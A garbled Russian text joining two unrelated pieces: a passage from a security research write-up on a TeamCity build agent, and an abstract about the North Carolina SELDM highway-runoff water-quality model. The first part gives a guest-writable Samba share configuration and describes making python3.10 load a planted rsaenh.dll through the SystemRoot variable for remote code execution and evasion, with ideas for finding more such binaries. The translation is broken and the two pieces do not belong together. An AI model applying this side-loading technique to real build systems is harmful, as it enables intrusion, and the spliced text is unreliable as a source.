ведение журнала = файл
действие паники = /usr/share/samba/panic-action %d
роль сервера = автономный сервер
сопоставление с гостем = плохой пользователь
[pub]
комментарий = некоторые полезные файлы
только чтение = нет
путь = / home/pub
гость ок = да
создать маску = 0777
маска каталога = 0777

Я остановил Responder, чтобы освободить порт 445, я запустил smbd:

service smbd start

Затем я снова запустил сборку, и исполняемый файл python3.10 успешно загрузил и выполнил DLL из моего общего ресурса, демонстрация вектора RCE в Build Agent:

Не проблема с точки зрения TeamCity

Примерно через неделю после сообщения о проблеме поставщику я получил ответ, уточняющий, что любой пользователь, имеющий доступ к TeamCity, считается доступ ко всем системам агента сборки, поэтому выполнение кода в любой системе агента сборки, запускаемое пользователем с низким уровнем привилегий в TeamCity, не нарушает никаких границ безопасности. Они также предоставили пример более ранней, очень похожей заявки, и пояснение, которое было дано после ее закрытия https://youtrack.jetbrains.com/issue/TW-74408 (с хорошим вектором внедрения кода через переменную окружения perl).

python загружает rsaenh.dll после переменной env SystemRoot

Тот факт, что python использовал переменную окружения для загрузки DLL, сам по себе является интересным явлением, поскольку его можно использовать локально в качестве обходной техники, альтернативной rundll32. exe (https://attack.mitre.org/techniques/T1574/002/, https://attack.mitre.org/techniques/T1129/) — для внедрения вредоносного кода в процесс, созданный из оригинального подписанного python3. 10.exe исполняемый файл.

POC

Для сборки DLL использовался следующий код. Он просто берет текущее имя пользователя и текущую командную строку процесса и добавляет их в текстовый файл с именем poc.txt. Всякий раз, когда DllMain запускается, по какой-либо причине, к файлу poc. txt добавляется строка, содержащая эти данные:

Во-первых, давайте попробуем загрузить его без каких-либо подписей, локально:

Вывод Procmon, отслеживающий любые события с помощью Path заканчивающийся на «rsaenh.dll»:

Файл poc.txt был создан в текущем каталоге C:\Users\evilded\HACKING\SHELLING\research\cmd.exe\python3_side_loading_via_SystemRoot во время работы python:

Подобные случаи

Должно быть больше случаев, когда популярное программное обеспечение использует переменные окружения для поиска некоторых загружаемых общих библиотек.

Для динамического выполнения такого поиска все исполняемые файлы в каталоге области действия можно перебирать и запускать несколько раз, каждый раз проверяя произвольные значения, заданные для отдельных общих переменных среды, таких как %SystemRoot% или %WINDIR%. Это само по себе было бы хорошим подходом для начинающих, но оно определенно не обеспечило бы исчерпывающего охвата — большинство мест в коде, в которых происходят попытки загрузки, недоступны без использования соответствующих командных строк, специфичных для каждого исполняемого файла.

Более исчерпывающим, но также требовательным подходом был бы статический анализ всех PE-файлов в области, которая просто указывает на использование функций LoadLibrary и GetEnv (например, LoadLibraryExW() и _wgetenv(), как python3. 10.exe) в своих таблицах импорта.

Применение стохастической эмпирической модели нагрузки и разбавления Северной Каролины (SELDM) для оценки потенциального воздействия дорожного стока

В 2013 г. Геологическая служба США (USGS) в партнерстве с Федеральным управлением автомобильных дорог США (FHWA) модель качества ливневых вод, называемая стохастической эмпирической моделью разбавления нагрузки (SELDM; Granato, 2013). Модель оптимизирована для дорожных проектов, но теоретически может быть применена к широкому спектру типов разработки. SELDM — это эмпирическая модель, основанная на статистических данных, предварительно заполненная большим количеством данных, необходимых для успешного запуска приложения (Granato, 2013). В модели используются методы Монте-Карло (в отличие от детерминистических методов) для расчета широкого спектра случаев осадков и ливневых стоков в сочетании с концентрациями компонентов качества воды и нагрузками от бассейна вверх по течению и участка шоссе. SELDM особенно полезен для менеджеров по управлению ливневыми стоками, поскольку он позволяет определить статистическую вероятность превышения стандарта качества воды, которое может произойти ниже по течению от места сброса ливневых стоков в течение периода записи, смоделированного в рамках анализа SELDM. SELDM можно использовать для моделирования различных передовых методов управления (BMP), что позволяет пользователю оценить последующее улучшение качества воды в русле от различных устройств для очистки ливневых вод. Эта функциональность делает модель хорошо подходящей для поддержки анализа затрат/выгод, специфичных для BMP. В 2015 году Министерство транспорта Северной Каролины (NCDOT) инициировало партнерство с Южноатлантическим центром водных исследований Геологической службы США (офис в Роли, Северная Каролина) для улучшения национальной модели SELDM с помощью дополнительных данных, характерных для Северной Каролины (Северная Каролина), чтобы улучшить модель. предсказуемость по всему штату. Конкретные данные Геологической службы США, включенные для улучшения модели NC SELDM, включали отдельные данные о речных потоках Северной Каролины, а также кривые переноса качества воды для выбранных компонентов. Статистика речного стока SELDM (на основе данных за 2015 водный год) была рассчитана для 266 постоянно регистрируемых водомеров и обновлена ​​в базе данных StreamStats, которая доступна в приложении USGS StreamStats для Северной Каролины (доступно онлайн через https://streamstats.usgs). .gov/сс/). Мгновенные данные о реке, доступные в 30 выбранных водосборах с непрерывной записью по всей Северной Каролине с площадью водосбора от 4,12 до 63,3 квадратных миль, были использованы для разработки статистики коэффициента спада для конкретных участков. Данные о качестве воды за 2016 водный год были использованы для построения кривых переноса качества воды для 27 водосборов для следующих компонентов: концентрация взвешенных наносов, общий азот, общий фосфор, мутность, медь, свинец и цинк. NCDOT выявил отчеты об исследованиях стока с автомагистралей Северной Каролины, содержащие данные о качестве и количестве воды, полученные из источников, не входящих в Геологическую службу США. Эти данные были проверены Геологической службой США и, где это было сочтено приемлемым, были загружены в базу данных FHWA Highway-Runoff, хранилище данных и препроцессор для SELDM (Granato and others, 2018; Granato and Cazenas, 2009).; Смит и Гранато, 2010 г.). На основе методов анализа, задокументированных Гранато (2014 г.) в национальном исследовании BMP, и с использованием доступных данных о качестве воды из выбранных пар участков автомагистралей и стоков BMP, данные о производительности из отчетов об исследованиях стоков автомагистралей Северной Каролины также были проанализированы и включены в модель NC SELDM для трех типов БМП. Результаты анализа, выполненного во время разработки модели NC SELDM, задокументированы в Weaver and others (2019). В 2018 году Геологическая служба США и NCDOT инициировали дополнительное исследование «этапа 2» для модели NC SELDM, чтобы завершить многочисленные модельные симуляции для разработки NC_SELDM_Catalog (электронная таблица Microsoft Excel) выходных данных для широкого диапазона переменных водосбора шоссе и бассейна вверх по течению. Всего было выполнено 74 880 симуляций SELDM в регионах Пьемонт, Голубой хребет и Прибрежная равнина (24,960 на регион) в Северной Каролине. В каждом регионе завершенное моделирование представляло 12 480 сценариев проектирования (по одному с использованием устройства для очистки стоков от травяных болот и биоудержания BMP). Общая цель каталога состоит в том, чтобы предоставить NCDOT и другим организациям инструмент для использования в процессе проектирования транспорта для быстрой оценки потенциального уровня BMP, который может потребоваться для обработки стока с автомагистралей.

Информация о цитировании

Год публикации	2021
Титул	Применение модели стохастической эмпирической нагрузки и разбавления Северной Каролины (SELDM) для оценки потенциального воздействия стока с шоссе
DOI	10.5066/P9LCXHLN
Авторы	Уивер Джон С. Добавить комментарий Отменить ответ Ваш адрес email не будет опубликован. Обязательные поля помечены * Комментарий *